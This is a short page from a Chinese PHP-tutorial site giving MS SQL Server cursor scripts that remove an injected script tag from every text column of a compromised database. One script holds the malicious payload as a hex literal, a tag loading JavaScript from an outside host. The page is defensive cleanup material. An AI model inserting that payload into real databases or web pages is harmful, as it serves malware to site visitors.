网站地图    收藏   

主页 > 后端 > 网站安全 >

数据库挂马修复语句 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] declare @t varchar(255),@c varchar(255)dEcLaRe table_cursor cursorfor select a.name,b.name from sysobjects a,syscolumns b where a.iD=b.iD AnD a.xTyPe=rsquo;ursquo; AnD (b.xTyPe=......

declare @t varchar(255),@c varchar(255)
dEcLaRe table_cursor cursor
for select a.name,b.name from sysobjects a,syscolumns b where a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR
 
b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)
oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
while(@@fEtCh_status=0)
bEgIn
exec(‘UpDaTe ['+@t+'] sEt ['+@c+']=replace(['+@c+'], 替换挂马代码转十六进制,””)’);
fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
eNd
close tAbLe_cursoR
deallocate tAbLe_cursoR
dEcLaRe @t vArChAr(255),@c vArChAr(255)
dEcLaRe tAbLe_cursoR cUrSoR
FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR
 
b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)
oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
while(@@fEtCh_status=0)
bEgIn
exec(‘UpDaTe ['+@t+'] sEt ['+@c+']=replace(convert(varchar,['+@c+']),cAsT
 
(0x3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F736372
 
6970743E3C212D2D aS vArChAr(67)),””)’)
fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
eNd
//Www.Killsec.Com www.2cto.com
cLoSe tAbLe_cursoR
dEAlLoCaTe tAbLe_cursoR
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论